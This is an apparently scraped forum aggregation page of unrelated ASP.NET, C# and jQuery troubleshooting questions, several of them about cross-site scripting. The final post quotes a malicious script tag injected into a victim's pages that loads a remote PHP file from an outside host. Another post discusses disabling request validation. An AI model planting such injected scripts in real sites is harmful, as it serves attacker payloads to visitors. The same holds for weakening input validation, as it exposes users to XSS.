I've seen the <script type="text/C#> with intellisense.
If it is possible to script client side scripts in C#, some infomation or reference on how to do it. For example, do I need using statements, is the script compiled on the server.. etc.
PHP experience (which meaby is causing this problem) and Iam having small problem passing data from codebehind to view-source.
I declared string variable on codebehind side such as:
...
public string mystring = "Scotty";
protected void Page_Load(object sender, EventArgs e)
{
...
So now I want to use it in view-code but when I put it in angle brackets (<%: or <%=) and put it in head element I got no access to this value. On the other hand when I put it in BODY element everything is ok.
My failing example (simplified):
<head runat="server">
<script language="javascript">
function beamMeUp()
{
alert(<%=mystring;%>);
}
</script>
</head>
<body>
<input type="button" onclick="javascript:beamMeUp" value="Warp6" />
</body>
why I can't use it (the <%=mystring;%>) in HEAD but i can use it in BODY ?
master page has runat=server on the head tag element, it is injecting a stylesheet on the page for some reason and I am not doing it explicitly.
Is it a themes setting that is adding the stylesheet? How can I disable it for this master page?
I have several hundred html files that I want to remove the <head></head> tag from and all information contained in the tag. I am fairly sure I can do this in Visual Studio using the Find and Replace In Files with REGEX.
View 5 RepliesWe have a GUI which runs on ASP.NET 2.0 framework (Client-Server model). From the support perspective how can one find whether the pages which are opening on GUI at any point of time is a server side scripting or Client side scripting.
The reason why I ask this is because I understand that some of the codes are executed by the browser such as Javascript. So, if there are such scripts which are handled by the client browser, how can one find out that it is the Client side scripting which is running at that moment.
I'm looking at an asp.net application, i notice that there are assemblies defined into two places. In web.config there is configuration/system.web/compilation/assemblies/add elements. In the project file there are references setup under the Project/ItemGroup/Reference elements.
I was wondering, what is the difference between assemblies/references added in either location?
Is there a way to retrieve values from the form object using the id element instead of the name element?
View 3 RepliesI have a table in ASP.Net like this.
[code]....
I want to give border line to first td element which contains the colspan and rowspan. Not to the entire row.
I have noticed that when I create a website in a network drive and use the Ajax toolkit I get :
Element 'ToolkitScriptManager' is not a known element
I also noticed that after adding the ToolkitScriptManager it doesn't add the ID in the source code, it looks like this:
<asp:ToolkitScriptManager runat="server"></asp:ToolkisScriptManager>
Is missing the ID="ToolkitScriptManager1" part.
This doesn't happen when I create the site in my local drive. Is there a workaround to this. Even if I add the missing parts, I keep getting the same error.
I would like to select an element that is in the same TR as another element I found with a selector. The selector itself: $("input[name='sMessageValue']","#messageTable") Now I have this element and got its value I would like to find a checkbox located in the same TR, i tried this as starting point : $(this).(':parent').val(). But seems not the right thing to do.
View 9 RepliesYou're making a website with ASP.NET 4.0/C#, although xml alone is suitable for this example. The site will have a site map and a default page with a menu control, as follows:Web.sitemap
<?xml version="1.0" encoding="utf-8" ?>
<siteMap xmlns="http://schemas.microsoft.com/AspNet/SiteMap-File-1.0" >
<siteMapNode url="~/default.aspx" title="Home" description="">
<siteMapNode url="~/1.aspx" title="Link 1" description="" />
<siteMapNode url="~/2.aspx" title="Link 2" description="" />
<siteMapNode url="~/3.aspx" title="Link 3" description="" />
[code]...
Element 'content' is not a known element. this can occur if there is a compilation error in the website, or the web.config file is missing.
<asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server">
<asp:Content --- showed a green wavy line , and on hover displayed the above error.
Now I am having certain problems.
1. Visual Studio 2010 hangs when I try to use ToolBox.
2. Intellisense for asp.net controls is not working.
I have tried replacing web.config file (frm backup) , tried to debug - it doesnt show anything.
All other websites are working alright. Have problem with only one of the websites.
I upgraded from VS 2008 to VS 2010 and now the AJAX elements are not recognised by the source code editor, e.g. UpdatePanel, ScriptManager, etc. I get warnings in VS and no intellisense for those elements. When I run the site, all the AJAX controls work OK though.
View 6 RepliesI want to pull down a feed (like twitter) and place in on a page using javascript (jquery). Ultimately, the "service" just needs to hand off JSON. I created a web service that allows me to do that, sort of. I don't know if using a stream reader is all that efficient and I was a little bothered by having to use what amounts to 2 evals on the clientside.
My question is twofold: is there a better method than using a web service and two, is there a problem with my implementation?
asmx:
[WebMethod]
public string World()
{
WebRequest request = WebRequest.Create("http://twitter.com/statuses/user_timeline/username.json?count=1");
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader reader = new StreamReader(response.GetResponseStream());
string tmp = reader.ReadToEnd();
response.Close();
reader.Close();
return tmp;
}
aspx
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js" type="text/javascript"></script>
<script>
$(document).ready(function() {
$.ajax({
url: "WebService1.asmx/twitter",
type: "POST",
data: "{}",
contentType: "application/json; charset=utf-8",
dataType: "json",
success: function(obj) {
var t = eval(obj.d)[0].text;
$('div').html(t);
}
})
});
</script>
We recently discovered that our web app was vulnerable to cross site scripting (XSS) attacks. We managed to manipulate our inputs to produce the following HTML:
[Code]....
Which executes an alert window when clicked.
After HTMLEncoding using the AntiXSS the web app successfully encodes the output to look like this:
<a href="javascript:__doPostBack('ctl00$ContentPlaceHolder1$CtlSearchList1$CtlListView1$DataGrid1$ctl03$ctl00','')">'); onclick=alert('This
is an XSS vulernability. An attacker could do anything here (redirect to another website, virus etc)');('.txt</a>
but the alert window still fires! What am I doing wrong?
I am getting my database copies as sql script every week. I want the copies as it is on the server.
but there are a lot of option on the scripting. which ones do I need to choose for a proper copy.
I have a site created using .net and the ajaxcontroltoolkit. When some users log on they do not see the controls on the page. I can duplicate this if I disable active scripting in ie. The problem is that the users I have spoken with have active scripting enabled. I have had them navigate to a site that tests javascript and it passes. Has anyone experienced this problem? If so what was your solution?
View 1 RepliesThe programmer is a C# ASp.NET Developer and is looking to learn his first scripting language. Unfortunately he never had to use it before. He is also looking for something that can be good for his career growth.
View 4 RepliesI got this errors while trying to use an example from the ASP.NET 3.5 Unleashed book.
Webform1.aspx
[Code]....
LengthValidator.cs
[Code]....
As from the book's note, I think I added this line correctly:
[Code]....
However, the compiler kept complaining that:
Warning 1 Element 'LengthValidator' is not a known element. This can occur if there is a compilation error in the Web site, or the web.config file is missing. C:Visual Studio 2010 ASP.NET ProjectsWebApplicationFourWebApplicationFourWebForm1.aspx 16 17 WebApplicationFour
I am using dotnetCHARTING: the dll is installed in the GAC and referenced in my web.config (all versions appear to match). The project has a reference to the dll.
web.config:
<add assembly="dotnetCHARTING, Version=5.3.3540.17054, Culture=neutral, PublicKeyToken=af2cd47db69d93bd"/>
The site code compiles ok, but all aspx pages using the charting library complain that the Chart tag does not exist (warning that it might be a compile error). The aspx pages do not render the charts.
Each page has a reference to the assembly:
<%@ Register Assembly="dotnetCHARTING" Namespace="dotnetCHARTING" TagPrefix="dotnetCHARTING" %>
What does that means below warning:
Element 'AsyncPostBackTrigger' is not a known element. This can occur if there is a compilation error in the Web site, or the web.config file is missing.
My app is working properly but visual studio showing warning like that.
Element 'ScriptManager' is not a known element. This can occur if there is a compilation error in the Web site.
Element 'UpdatePanel' is not a known element. This can occur if there is a compilation error in the Web site.
tried many thingschecked web config filereinstalled ajaxtoolkit
but nothing is working
getting error in the whole projectalong with this getting error for other asp,net controls also
Element 'TextBox' is not a known element. This can occur if there is a compilation error in the Web site.
where does following HTTP error message come from:
Due to the presence of characters known to be used in Cross Site Scripting attacks, access is forbidden. This web site does not allow Urls which might include embedded HTML tags.
We're using dynamically generated URLs and in this specific case the URL contains the characters '<' or '>'. We do URL encode the generated URL (so '%3C' appeary instead of '<') but it doesn't Our setup is ASP.NET MVC / IIS 7.5 / IE8. It's strange but it looks like the error appears only on some machines. So it could be that the IE internet zone settings are playing a role.
this exception is caused by entering scripts or disallowed text as "<script>", "<h1>" by the user. This exception will be thrown while processing the request.
After searching and trying, most of the solutions were to:
1- disable request validation in the page header (validateRequest="false") or in the pages section in web.config.
I dont see this is a solution, the XSS problem is still there, it just does not throw the exception.
2- To encode the text and decode it using Server.HtmlEncode and Server.HtmlDecode.
This is a good one, but have to go every single textbox and call this method (Server.Encode(txtAddress.Text)), but this require alot of effort to change the whole site, and some of them may be forgotten.
I was thinking of creating a new TextBox control (MyTextBox) to inherit from System.Web.UI.WebControls.TextBox and override the Text property, then Encode base.Text in the get accessor, and Decode base.Text in the set accessor.
This will also require to change the whole site, to use MyTextBox instead of TextBox.
a major problem from Cross-Site ScriptingAttack, Below is sample script which automatically gets inserted into my HTML and ASPX Pages.
"<script src=http://avidmarketing.ie/images/rc3/companybuttonwhite.php ></script>"